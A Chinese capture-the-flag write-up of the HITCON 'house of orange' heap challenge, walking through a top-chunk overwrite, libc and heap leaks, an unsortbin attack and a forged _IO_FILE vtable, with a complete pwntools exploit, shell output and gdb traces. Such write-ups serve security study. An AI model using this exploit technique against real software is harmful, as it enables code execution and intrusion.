前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >CTF PWN之house of orange

CTF PWN之house of orange

作者头像
用户1423082
发布2024-12-31 18:41:11
发布2024-12-31 18:41:11
6100
代码可运行
举报
文章被收录于专栏:giantbranch's bloggiantbranch's blog
运行总次数:0
代码可运行

题目链接:https://github.com/giantbranch/CTF_PWN/tree/master/other/houseoforange

讲解题目

这是一个HITCON中的经典题目了,通过对buildhouse函数的逆向可以得到下面两个结构体

代码语言:javascript
代码运行次数:0
运行
复制
struct house{
    struct orange* point;
    qword*  name;
}

struct orange{
    dword   price
    dword   color;
}

所以在ida新建结构体,当然这题好像没啥太大的帮助

代码语言:javascript
代码运行次数:0
运行
复制
00000000 orange          struc ; (sizeof=0x8, mappedto_6)
00000000                                         ; XREF: house/r
00000000 price           dd ?
00000004 color           dd ?
00000008 orange          ends
00000008
00000000 ; [00000018 BYTES. COLLAPSED STRUCT Elf64_Rela. PRESS CTRL-NUMPAD+ TO EXPAND]
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 house           struc ; (sizeof=0x10, mappedto_7)
00000000 orangePoint     orange ?
00000008 name            dq ?
00000010 house           ends
00000010
00000000 ; [00000010 BYTES. COLLAPSED STRUCT Elf64_Dyn. PRESS CTRL-NUMPAD+ TO EXPAND]

保护是全开的

代码语言:javascript
代码运行次数:0
运行
复制
Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled
FORTIFY:  Enabled

总体思路:

1、通过upgrade的溢出覆盖topchunk size,那么我们再build,原来的topchunk就到unsortbin去了,就有了libc指针

注意:topchunk size的覆盖是有限制的,最低位要是1,跟topchunk的其实地址加起来要跟0x1000对齐,还有要大于MINSIZE (好像是0x10)

代码语言:javascript
代码运行次数:0
运行
复制
######### overwrite top chunk size
build(0x10, "A"*0x10, 10,  1)
upgrade(0x40, "A"*0x10+ p64(0) + p64(0x21) + p64(0x0000001f0000000a) + p64(0) * 2 + p64(0xfa1), 10 , 1)
# let top chunk to unsort bin list
build(0xfb0, "A"*0x10, 10,  1)

2、接下来我们申请一个largebin大小的(因为有fd_nextsize和bk_nextsize,可以泄露heap的地址),我们只覆盖前8个字节就可以leak出libc了

注:64位下,largebin最小大小是0x400,即1024字节,要申请largebin大小,必须大于等于0x3e9

代码语言:javascript
代码运行次数:0
运行
复制
######### leak libc
# in 64 bit, must malloc more than 0x3e9 to get large bin
build(0x400, "A"*8, 10,  1)
# build(0x3e9, "A"*8, 10,  1)
see()
p.recvuntil("Name of house : AAAAAAAA")
largebin_leak = u64(p.recvuntil("\n")[:-1].ljust(8, "\x00"))
print "largebin_leak = " + hex(largebin_leak)
main_arena = largebin_leak - 1640
print "main_arena = " + hex(main_arena)
libc_base = main_arena - main_arena_offset
print "libc_base = " + hex(libc_base)
system = libc_base + libc.symbols['system']
_IO_list_all = libc_base + libc.symbols['_IO_list_all']
print "system = " + hex(system)
print "_IO_list_all = " + hex(_IO_list_all)

3、之后再覆盖0x10大小,泄露heap地址

代码语言:javascript
代码运行次数:0
运行
复制
# leak heap
upgrade(0x20, "A"*0x10, 10 , 1)
see()
p.recvuntil("Name of house : AAAAAAAAAAAAAAAA")
heap_addr = u64(p.recvuntil("\n")[:-1].ljust(8, "\x00"))
print "heap_addr = " + hex(heap_addr)

4、最后就利用溢出覆盖unsortbin的bk,实行unsortbin attack,将_IO_list_all指针指向了main_arena+0x58,那么链表指针_chain指向了smallbin[4],即第5个smallbin——0x60大小的。而我们之前就将unsortbin的size改为0x61,所以我们再申请的时候,他首先就会放到smallbin[4],最后我们伪造vtable即可

查看unsortbin位置,可以看到确实chain指向

代码语言:javascript
代码运行次数:0
运行
复制
gdb-peda$ p *((struct _IO_FILE_plus*)0x7f742fb8db78)
$13 = {
  file = {
    _flags = 0xf12befc0, 
    _IO_read_ptr = 0x559af129d4f0 "", 
    _IO_read_end = 0x559af129d4f0 "", 
    _IO_read_base = 0x7f742fb8e510 "", 
    _IO_write_base = 0x7f742fb8db88 <main_arena+104> "\360\324)\361\232U", 
    _IO_write_ptr = 0x7f742fb8db88 <main_arena+104> "\360\324)\361\232U", 
    _IO_write_end = 0x7f742fb8db98 <main_arena+120> "\210?/t\177", 
    _IO_buf_base = 0x7f742fb8db98 <main_arena+120> "\210?/t\177", 
    _IO_buf_end = 0x7f742fb8dba8 <main_arena+136> "\230?/t\177", 
    _IO_save_base = 0x7f742fb8dba8 <main_arena+136> "\230?/t\177", 
    _IO_backup_base = 0x7f742fb8dbb8 <main_arena+152> "\250?/t\177", 
    _IO_save_end = 0x7f742fb8dbb8 <main_arena+152> "\250?/t\177", 
    _markers = 0x7f742fb8dbc8 <main_arena+168>, 
    _chain = 0x7f742fb8dbc8 <main_arena+168>, 
    _fileno = 0x2fb8dbd8, 
    _flags2 = 0x7f74, 
    _old_offset = 0x7f742fb8dbd8, 
    _cur_column = 0xdbe8, 
    _vtable_offset = 0xb8, 
    _shortbuf = "/", 
    _lock = 0x7f742fb8dbe8 <main_arena+200>, 
    _offset = 0x7f742fb8dbf8, 
    _codecvt = 0x7f742fb8dbf8 <main_arena+216>, 
    _wide_data = 0x7f742fb8dc08 <main_arena+232>, 
    _freeres_list = 0x7f742fb8dc08 <main_arena+232>, 
    _freeres_buf = 0x7f742fb8dc18 <main_arena+248>, 
    __pad5 = 0x7f742fb8dc18, 
    _mode = 0x2fb8dc28, 
    _unused2 = "t\177\000\000(?/t\177\000\000\070?/t"...
  }, 
  vtable = 0x7f742fb8dc38 <main_arena+280>
}

那么整个过程怎么触发的呢?

我们修改了bk后,那当我们再次申请内存的时候,其他bins都没有可用的,而unsortbin有可用的内存,就会遍历unsortbin列表,不合适就将bin拖链放到对应的bins列表,比如0x60大小的就放到smallbin那里了,这时候就通过unsortbin attack修改了_IO_list_all,即下面代码的bck->fd = unsorted_chunks (av);,将unsortbin的头指针写到了bck的fd,即我们要写到(_IO_list_all-0x10)->fd,也即写到_IO_list_all(注:av的类型是malloc_state,即mstate,他指向main_arena),再次遍历下一个时由于size为0即_IO_list_all-8处为0,触发的异常,从而劫持控制力,详细请看附录

代码语言:javascript
代码运行次数:0
运行
复制
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
        {
          bck = victim->bk;
          if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
              || __builtin_expect (chunksize_nomask (victim)
				   > av->system_mem, 0))
            malloc_printerr ("malloc(): memory corruption");
          size = chunksize (victim);
		 	.............
			.............
			.............
		  /* remove from unsorted list */
          unsorted_chunks (av)->bk = bck;
          bck->fd = unsorted_chunks (av);
			.............
			.............
			.............

还有我们伪造的IO_FILE需要满足一些条件,才能调用_IO_OVERFLOW

代码语言:javascript
代码运行次数:0
运行
复制
 if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
	   || (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))
#endif
	   )
	  && _IO_OVERFLOW (fp, EOF) == EOF)

那么_IO_OVERFLOW指针覆盖为system,fp头指针我们设置为/bin/sh

最终即可成功getshell

代码语言:javascript
代码运行次数:0
运行
复制
[+] Starting local process './houseoforange_22785bece84189e632567da38e4be0e0c4bb1682': pid 6012
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
largebin_leak = 0x7fbfa9142188
main_arena = 0x7fbfa9141b20
libc_base = 0x7fbfa8d7d000
system = 0x7fbfa8dc2390
_IO_list_all = 0x7fbfa9142520
heap_addr = 0x55dab4acf0c0
0x520
[*] Switching to interactive mode
*** Error in `./houseoforange_22785bece84189e632567da38e4be0e0c4bb1682': malloc(): memory corruption: 0x00007fbfa9142520 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7fbfa8df47e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8213e)[0x7fbfa8dff13e]
/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7fbfa8e01184]
./houseoforange_22785bece84189e632567da38e4be0e0c4bb1682(+0xd6d)[0x55dab2fc4d6d]
./houseoforange_22785bece84189e632567da38e4be0e0c4bb1682(+0x1402)[0x55dab2fc5402]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7fbfa8d9d830]
./houseoforange_22785bece84189e632567da38e4be0e0c4bb1682(+0xb19)[0x55dab2fc4b19]
======= Memory map: ========
55dab2fc4000-55dab2fc7000 r-xp 00000000 08:01 402634                     /home/giantbranch/ctf2018/houseoforange/houseoforange_22785bece84189e632567da38e4be0e0c4bb1682
55dab31c6000-55dab31c7000 r--p 00002000 08:01 402634                     /home/giantbranch/ctf2018/houseoforange/houseoforange_22785bece84189e632567da38e4be0e0c4bb1682
55dab31c7000-55dab31c8000 rw-p 00003000 08:01 402634                     /home/giantbranch/ctf2018/houseoforange/houseoforange_22785bece84189e632567da38e4be0e0c4bb1682
55dab4acf000-55dab4b12000 rw-p 00000000 00:00 0                          [heap]
7fbfa4000000-7fbfa4021000 rw-p 00000000 00:00 0 
7fbfa4021000-7fbfa8000000 ---p 00000000 00:00 0 
7fbfa8b67000-7fbfa8b7d000 r-xp 00000000 08:01 2626521                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7fbfa8b7d000-7fbfa8d7c000 ---p 00016000 08:01 2626521                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7fbfa8d7c000-7fbfa8d7d000 rw-p 00015000 08:01 2626521                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7fbfa8d7d000-7fbfa8f3d000 r-xp 00000000 08:01 2626483                    /lib/x86_64-linux-gnu/libc-2.23.so
7fbfa8f3d000-7fbfa913d000 ---p 001c0000 08:01 2626483                    /lib/x86_64-linux-gnu/libc-2.23.so
7fbfa913d000-7fbfa9141000 r--p 001c0000 08:01 2626483                    /lib/x86_64-linux-gnu/libc-2.23.so
7fbfa9141000-7fbfa9143000 rw-p 001c4000 08:01 2626483                    /lib/x86_64-linux-gnu/libc-2.23.so
7fbfa9143000-7fbfa9147000 rw-p 00000000 00:00 0 
7fbfa9147000-7fbfa916d000 r-xp 00000000 08:01 2626455                    /lib/x86_64-linux-gnu/ld-2.23.so
7fbfa9351000-7fbfa9354000 rw-p 00000000 00:00 0 
7fbfa936b000-7fbfa936c000 rw-p 00000000 00:00 0 
7fbfa936c000-7fbfa936d000 r--p 00025000 08:01 2626455                    /lib/x86_64-linux-gnu/ld-2.23.so
7fbfa936d000-7fbfa936e000 rw-p 00026000 08:01 2626455                    /lib/x86_64-linux-gnu/ld-2.23.so
7fbfa936e000-7fbfa936f000 rw-p 00000000 00:00 0 
7ffc73a63000-7ffc73a84000 rw-p 00000000 00:00 0                          [stack]
7ffc73b8c000-7ffc73b8f000 r--p 00000000 00:00 0                          [vvar]
7ffc73b8f000-7ffc73b91000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
$ id
uid=1000(giantbranch) gid=1000(giantbranch) groups=1000(giantbranch)

exp

代码语言:javascript
代码运行次数:0
运行
复制
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date    : 2018-12-29 14:03:27
# @Author  : giantbranch (giantbranch@gmail.com)
# @Link    : http://www.giantbranch.cn/
# @tags : 


# struct house{
#     struct orange* point;
#     qword*  name;
# }

# struct orange{
#     dword   price
#     dword   color;
# }

from pwn import *
# context.log_level = "debug"
p = process("./houseoforange_22785bece84189e632567da38e4be0e0c4bb1682")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
 # 1. Red            
 # 2. Green            
 # 3. Yellow            
 # 4. Blue            
 # 5. Purple            
 # 6. Cyan            
 # 7. White 
def build(nameLen, name, price, color):
    p.recvuntil("Your choice : ")
    p.sendline("1")
    p.recvuntil("Length of name :")
    p.sendline(str(nameLen))
    p.recvuntil("Name :")
    p.send(name)
    p.recvuntil("Price of Orange:")
    p.sendline(str(price))
    p.recvuntil("Color of Orange:")
    p.sendline(str(color))

def see():
    p.recvuntil("Your choice : ")
    p.sendline("2")

def upgrade(nameLen, name, price, color):
    p.recvuntil("Your choice : ")
    p.sendline("3")
    p.recvuntil("Length of name :")
    p.sendline(str(nameLen))
    p.recvuntil("Name:")
    p.send(name)
    p.recvuntil("Price of Orange:")
    p.sendline(str(price))
    p.recvuntil("Color of Orange:")
    p.sendline(str(color))

def getpid():
    print proc.pidof(p)[0]
    pause()

main_arena_offset = 0x3c4b20


######### overwrite top chunk size
build(0x10, "A"*0x10, 10,  1)
upgrade(0x40, "A"*0x10+ p64(0) + p64(0x21) + p64(0x0000001f0000000a) + p64(0) * 2 + p64(0xfa1), 10 , 1)
# let top chunk to unsort bin list
build(0xfb0, "A"*0x10, 10,  1)

######### leak libc
# in 64 bit, must malloc more than 0x3e9 to get large bin
build(0x400, "A"*8, 10,  1)
# build(0x3e9, "A"*8, 10,  1)
see()
p.recvuntil("Name of house : AAAAAAAA")
largebin_leak = u64(p.recvuntil("\n")[:-1].ljust(8, "\x00"))
print "largebin_leak = " + hex(largebin_leak)
main_arena = largebin_leak - 1640
print "main_arena = " + hex(main_arena)
libc_base = main_arena - main_arena_offset
print "libc_base = " + hex(libc_base)
system = libc_base + libc.symbols['system']
_IO_list_all = libc_base + libc.symbols['_IO_list_all']
print "system = " + hex(system)
print "_IO_list_all = " + hex(_IO_list_all)

# getpid()
# leak heap
upgrade(0x20, "A"*0x10, 10 , 1)
see()
p.recvuntil("Name of house : AAAAAAAAAAAAAAAA")
heap_addr = u64(p.recvuntil("\n")[:-1].ljust(8, "\x00"))
print "heap_addr = " + hex(heap_addr)

# unsortbin attack to write _IO_list_all
payload = "A" * 0x400 # padding
payload += p64(0) + p64(0x21) + p64(0x0000001f0000000a) + p64(0)

# fake_file:   fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base
fake_file = "/bin/sh\x00" + p64(0x61) 
fake_file += p64(0xaabbccdd) + p64(_IO_list_all-0x10) #unsortbin attack
fake_file += p64(0) + p64(1) #_IO_write_base < _IO_write_ptr
fake_file += p64(0) * 18
fake_file += p64(0) # fp->_mode <= 0
fake_file += p64(0) * 2 # _unused2
fake_file += p64(heap_addr + 0x510) # vtable_point (point to next)

payload += fake_file
payload += p64(0) * 3 # vtable
payload += p64(system)  # __overflow <-- system

print hex(len(payload))
# getpid()

upgrade(0x6666, payload, 11, 2)

# getshell
p.recvuntil("Your choice : ")
p.sendline("1")
p.interactive()

附录——调试最后的流程劫持过程

首先下个硬件断点:watch _IO_list_all

断下来,由于开启了源码调试,我们看源码吧,bck->fd = unsorted_chunks (av);就是将unsorted_bin的头指针写到_IO_list_all的代码

代码语言:javascript
代码运行次数:0
运行
复制
  3515           unsorted_chunks (av)->bk = bck;
  3516           bck->fd = unsorted_chunks (av);
  3517 
  3518           /* Take now instead of binning if exact fit */
  3519 
► 3520           if (size == nb)
  3521             {
  3522               set_inuse_bit_at_offset (victim, size);
  3523               if (av != &main_arena)
  3524                 victim->size |= NON_MAIN_ARENA;
  3525               check_malloced_chunk (av, victim, nb);

继续调试

下面的代码是不会进去的,因为这是刚好满足的情况

代码语言:javascript
代码运行次数:0
运行
复制
/* Take now instead of binning if exact fit */

          if (size == nb)
            {
              set_inuse_bit_at_offset (victim, size);
              if (av != &main_arena)
                victim->size |= NON_MAIN_ARENA;
              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
            }

接下来是进入这里

代码语言:javascript
代码运行次数:0
运行
复制
  3533           if (in_smallbin_range (size))
  3534             {
► 3535               victim_index = smallbin_index (size);
  3536               bck = bin_at (av, victim_index);
  3537               fwd = bck->fd;
  3538             }

接下来的操作是,将这个chunk放到对应的bin上,比如这里就放到0x60的bins上

代码语言:javascript
代码运行次数:0
运行
复制
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

此时这个0x60大小的chunk已经放入smallbin了

代码语言:javascript
代码运行次数:0
运行
复制
gdb-peda$ smallbin
smallbins
0x60: 0x55bc09c5a4f0 —▸ 0x7f32413d8bc8 (main_arena+168) ◂— 0x55bc09c5a4f0

接下来就去下一个unsortbin的chunk了

代码语言:javascript
代码运行次数:0
运行
复制
3464    */
  3465 
  3466   for (;; )
  3467     {
  3468       int iters = 0;
► 3469       while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
  3470         {
  3471           bck = victim->bk;
  3472           if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
  3473               || __builtin_expect (victim->size > av->system_mem, 0))
  3474             malloc_printerr (check_action, "malloc(): memory corruption",

接下来由于_IO_list_all那边的size为0

代码语言:javascript
代码运行次数:0
运行
复制
gdb-peda$ x /20gx 0x7f32413d9510
0x7f32413d9510:	0x0000000000000000	0x0000000000000000
0x7f32413d9520 <_IO_list_all>:	0x00007f32413d8b78	0x0000000000000000
0x7f32413d9530:	0x0000000000000000	0x0000000000000000
0x7f32413d9540 <_IO_2_1_stderr_>:	0x00000000fbad2086	0x0000000000000000
0x7f32413d9550 <_IO_2_1_stderr_+16>:	0x0000000000000000	0x0000000000000000
0x7f32413d9560 <_IO_2_1_stderr_+32>:	0x0000000000000000	0x0000000000000000
0x7f32413d9570 <_IO_2_1_stderr_+48>:	0x0000000000000000	0x0000000000000000
0x7f32413d9580 <_IO_2_1_stderr_+64>:	0x0000000000000000	0x0000000000000000
0x7f32413d9590 <_IO_2_1_stderr_+80>:	0x0000000000000000	0x0000000000000000
0x7f32413d95a0 <_IO_2_1_stderr_+96>:	0x0000000000000000	0x00007f32413d9620

具体可以看看调试,rsi为0,就是size为0

代码语言:javascript
代码运行次数:0
运行
复制
──────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────────
 RAX  0x0
 RBX  0x7f32413d8b20 (main_arena) ◂— 0x100000001
 RCX  0x6
 RDX  0x40
 RDI  0x7f32413d8bc8 (main_arena+168) —▸ 0x7f32413d8bb8 (main_arena+152) —▸ 0x7f32413d8ba8 (main_arena+136) —▸ 0x7f32413d8b98 (main_arena+120) —▸ 0x7f32413d8b88 (main_arena+104) ◂— ...
 RSI  0x0
 R8   0x7f32413d8bc8 (main_arena+168) —▸ 0x7f32413d8bb8 (main_arena+152) —▸ 0x7f32413d8ba8 (main_arena+136) —▸ 0x7f32413d8b98 (main_arena+120) —▸ 0x7f32413d8b88 (main_arena+104) ◂— ...
 R9   0x1999999999999999
 R10  0x0
 R11  0x7f324118b5e0 (_nl_C_LC_CTYPE_class+256) ◂— add    al, byte ptr [rax]
 R12  0x7f32413d8b78 (main_arena+88) —▸ 0x55bc09c7bfc0 ◂— 0x0
 R13  0x7f32413d9510 ◂— 0x0
 R14  0x270f
 R15  0x0
 RBP  0x20
 RSP  0x7ffe04d39120 ◂— 0x2
 RIP  0x7f3241095ddc (_int_malloc+604) ◂— cmp    rsi, 0x10
───────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────
   0x7f3241095dc7 <_int_malloc+583>    mov    r13, qword ptr [rbx + 0x70]
   0x7f3241095dcb <_int_malloc+587>    cmp    r13, r12
   0x7f3241095dce <_int_malloc+590>    je     _int_malloc+1511 <0x7f3241096167>
 
   0x7f3241095dd4 <_int_malloc+596>    mov    rsi, qword ptr [r13 + 8]
   0x7f3241095dd8 <_int_malloc+600>    mov    r15, qword ptr [r13 + 0x18]
 ► 0x7f3241095ddc <_int_malloc+604>    cmp    rsi, 0x10
   0x7f3241095de0 <_int_malloc+608>    jbe    _int_malloc+960 <0x7f3241095f40>
    ↓
   0x7f3241095f40 <_int_malloc+960>    mov    r10d, dword ptr [rip + 0x342209] <0x7f32413d8150>
   0x7f3241095f47 <_int_malloc+967>    or     dword ptr [rbx + 4], 4
   0x7f3241095f4b <_int_malloc+971>    mov    eax, r10d
   0x7f3241095f4e <_int_malloc+974>    and    eax, 5
────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────────────────────────────
In file: /home/giantbranch/glibc-2.23/malloc/malloc.c
   3467     {
   3468       int iters = 0;
   3469       while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
   3470         {
   3471           bck = victim->bk;
 ► 3472           if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
   3473               || __builtin_expect (victim->size > av->system_mem, 0))
   3474             malloc_printerr (check_action, "malloc(): memory corruption",
   3475                              chunk2mem (victim), av);
   3476           size = chunksize (victim);
   3477 
────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7ffe04d39120 ◂— 0x2
01:0008│      0x7ffe04d39128 ◂— 0x10
02:0010│      0x7ffe04d39130 —▸ 0x7ffe04d391a0 ◂— 0xa /* '\n' */
03:0018│      0x7ffe04d39138 —▸ 0x7ffe04d39340 ◂— 0x1
04:0020│      0x7ffe04d39140 ◂— 0x0
... ↓
06:0030│      0x7ffe04d39150 ◂— 0xffff8001fb2c6e61
07:0038│      0x7ffe04d39158 —▸ 0x7ffe04d3919f ◂— 0xa00
──────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────
 ► f 0     7f3241095ddc _int_malloc+604
   f 1     7f3241098184 malloc+84
   f 2     55bc08934d6d
   f 3     55bc08935402
   f 4     7f3241034830 __libc_start_main+240

那么接下来就进入了malloc_printerr这个函数了

代码语言:javascript
代码运行次数:0
运行
复制
► 3474             malloc_printerr (check_action, "malloc(): memory corruption",
  3475                              chunk2mem (victim), av);

接下来直接运行,崩溃,可以看到调用顺序是malloc_printerr---->__libc_message---->__GI_abort---->_IO_flush_all_lockp

代码语言:javascript
代码运行次数:0
运行
复制
gdb-peda$ bt
#0  0x00007f32413d8c38 in main_arena () from /lib/x86_64-linux-gnu/libc.so.6
#1  0x00007f3241090196 in _IO_flush_all_lockp (do_lock=do_lock@entry=0x0) at genops.c:786
#2  0x00007f324104afbd in __GI_abort () at abort.c:74
#3  0x00007f324108b7ea in __libc_message (do_abort=0x2, fmt=fmt@entry=0x7f32411a4ed8 "*** Error in `%"...) at ../sysdeps/posix/libc_fatal.c:175
#4  0x00007f324109613e in malloc_printerr (ar_ptr=0x7f32413d8b20 <main_arena>, ptr=0x7f32413d9520 <_IO_list_all>, str=0x7f32411a1d3f "malloc(): memor"..., action=<optimized out>) at malloc.c:5006
#5  _int_malloc (av=av@entry=0x7f32413d8b20 <main_arena>, bytes=bytes@entry=0x10) at malloc.c:3474
#6  0x00007f3241098184 in __GI___libc_malloc (bytes=0x10) at malloc.c:2913
#7  0x000055bc08934d6d in ?? ()
#8  0x000055bc08935402 in ?? ()
#9  0x00007f3241034830 in __libc_start_main (main=0x55bc089353af, argc=0x1, argv=0x7ffe04d39348, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7ffe04d39338) at ../csu/libc-start.c:291
#10 0x000055bc08934b19 in ?? ()

所以经过上面的调试你理解4ngelboy的图了吧

附录2:_IO_flush_all_lockp流程

首先获取头指针

代码语言:javascript
代码运行次数:0
运行
复制
  768     _IO_lock_lock (list_all_lock);
  769 #endif
  770 
  771   last_stamp = _IO_list_all_stamp;
  772   fp = (_IO_FILE *) _IO_list_all;
► 773   while (fp != NULL)
  774     {
  775       run_fp = fp;
  776       if (do_lock)
  777 	_IO_flockfile (fp);
  778

之后就到达判断处

代码语言:javascript
代码运行次数:0
运行
复制
► 779       if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
  780 #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
  781 	   || (_IO_vtable_offset (fp) == 0
  782 	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
  783 				    > fp->_wide_data->_IO_write_base))

由于第一个_IO_FILE_plus条件不满足直接跳过了

代码语言:javascript
代码运行次数:0
运行
复制
gdb-peda$ p *(struct _IO_FILE_plus *)0x7f6d94f61b78
$19 = {
  file = {
    _flags = 0x660a0fc0, 
    _IO_read_ptr = 0x55fc6607f4f0 "/bin/sh", 
    _IO_read_end = 0x55fc6607f4f0 "/bin/sh", 
    _IO_read_base = 0x7f6d94f62510 "", 
    _IO_write_base = 0x7f6d94f61b88 <main_arena+104> "\360\364\af\374U", 
    _IO_write_ptr = 0x7f6d94f61b88 <main_arena+104> "\360\364\af\374U", 
    _IO_write_end = 0x7f6d94f61b98 <main_arena+120> "\210\033\366\224m\177", 
    _IO_buf_base = 0x7f6d94f61b98 <main_arena+120> "\210\033\366\224m\177", 
    _IO_buf_end = 0x7f6d94f61ba8 <main_arena+136> "\230\033\366\224m\177", 
    _IO_save_base = 0x7f6d94f61ba8 <main_arena+136> "\230\033\366\224m\177", 
    _IO_backup_base = 0x7f6d94f61bb8 <main_arena+152> "\250\033\366\224m\177", 
    _IO_save_end = 0x7f6d94f61bb8 <main_arena+152> "\250\033\366\224m\177", 
    _markers = 0x55fc6607f4f0, 
    _chain = 0x55fc6607f4f0, 
    _fileno = 0x94f61bd8, 
    _flags2 = 0x7f6d, 
    _old_offset = 0x7f6d94f61bd8, 
    _cur_column = 0x1be8, 
    _vtable_offset = 0xf6, 
    _shortbuf = "\224", 
    _lock = 0x7f6d94f61be8 <main_arena+200>, 
    _offset = 0x7f6d94f61bf8, 
    _codecvt = 0x7f6d94f61bf8 <main_arena+216>, 
    _wide_data = 0x7f6d94f61c08 <main_arena+232>, 
    _freeres_list = 0x7f6d94f61c08 <main_arena+232>, 
    _freeres_buf = 0x7f6d94f61c18 <main_arena+248>, 
    __pad5 = 0x7f6d94f61c18, 
    _mode = 0x94f61c28, 
    _unused2 = "m\177\000\000(\034\366\224m\177\000\000\070\034\366"...
  }, 
  vtable = 0x7f6d94f61c38 <main_arena+280>
}

之后通过_chain获取下一个_IO_FILE_plus

代码语言:javascript
代码运行次数:0
运行
复制
795 	  /* Something was added to the list.  Start all over again.  */
   796 	  fp = (_IO_FILE *) _IO_list_all;
   797 	  last_stamp = _IO_list_all_stamp;
   798 	}
   799       else
 ► 800 	fp = fp->_chain;
   801     }
   802 
   803 #ifdef _IO_MTSAFE_IO
   804   if (do_lock)
   805     _IO_lock_unlock (list_all_lock);

满足条件就进入了if,执行_IO_OVERFLOW

代码语言:javascript
代码运行次数:0
运行
复制
781 	   || (_IO_vtable_offset (fp) == 0
  782 	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
  783 				    > fp->_wide_data->_IO_write_base))
  784 #endif
  785 	   )
► 786 	  && _IO_OVERFLOW (fp, EOF) == EOF)
  787 	result = EOF;
  788 
  789       if (do_lock)
  790 	_IO_funlockfile (fp);
  791       run_fp = NULL;

最终执行的是我们的system,rdi也就是fp,就是/bin/sh,getshell没问题

代码语言:javascript
代码运行次数:0
运行
复制
────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────────────────────────────
 RAX  0x55fc6607f5d0 ◂— 0x0
 RBX  0x55fc6607f4f0 ◂— 0x68732f6e69622f /* '/bin/sh' */
 RCX  0x7f6d94bd2730 (sigprocmask+16) ◂— cmp    rax, -0x1000 /* 'H=' */
 RDX  0x0
 RDI  0x55fc6607f4f0 ◂— 0x68732f6e69622f /* '/bin/sh' */
 RSI  0xffffffff
 R8   0x4
 R9   0x0
 R10  0x8
 R11  0x246
 R12  0x7f6d95172700 ◂— 0x7f6d95172700
 R13  0x0
 R14  0x0
 R15  0x0
 RBP  0x0
 RSP  0x7ffcd401da30 ◂— 0x3a30302030303030 ('0000 00:')
 RIP  0x7f6d94c19193 (_IO_flush_all_lockp+371) ◂— call   qword ptr [rax + 0x18]
─────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────
   0x7f6d94c19284 <_IO_flush_all_lockp+612>    cmp    qword ptr [rbx + 0x28], rax
   0x7f6d94c19288 <_IO_flush_all_lockp+616>    ja     _IO_flush_all_lockp+356 <0x7f6d94c19184>
    ↓
   0x7f6d94c19184 <_IO_flush_all_lockp+356>    mov    rax, qword ptr [rbx + 0xd8]
   0x7f6d94c1918b <_IO_flush_all_lockp+363>    mov    esi, 0xffffffff
   0x7f6d94c19190 <_IO_flush_all_lockp+368>    mov    rdi, rbx
 ► 0x7f6d94c19193 <_IO_flush_all_lockp+371>    call   qword ptr [rax + 0x18] <0x7f6d94be2390>
 
   0x7f6d94c19196 <_IO_flush_all_lockp+374>    cmp    eax, -1
   0x7f6d94c19199 <_IO_flush_all_lockp+377>    mov    eax, 0xffffffff
   0x7f6d94c1919e <_IO_flush_all_lockp+382>    cmove  ebp, eax
   0x7f6d94c191a1 <_IO_flush_all_lockp+385>    test   r14d, r14d
   0x7f6d94c191a4 <_IO_flush_all_lockp+388>    je     _IO_flush_all_lockp+464 <0x7f6d94c191f0>
──────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────────────────────────────────────────────────
In file: /home/giantbranch/glibc-2.23/libio/genops.c
   781 	   || (_IO_vtable_offset (fp) == 0
   782 	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
   783 				    > fp->_wide_data->_IO_write_base))
   784 #endif
   785 	   )
 ► 786 	  && _IO_OVERFLOW (fp, EOF) == EOF)
   787 	result = EOF;
   788 
   789       if (do_lock)
   790 	_IO_funlockfile (fp);
   791       run_fp = NULL;
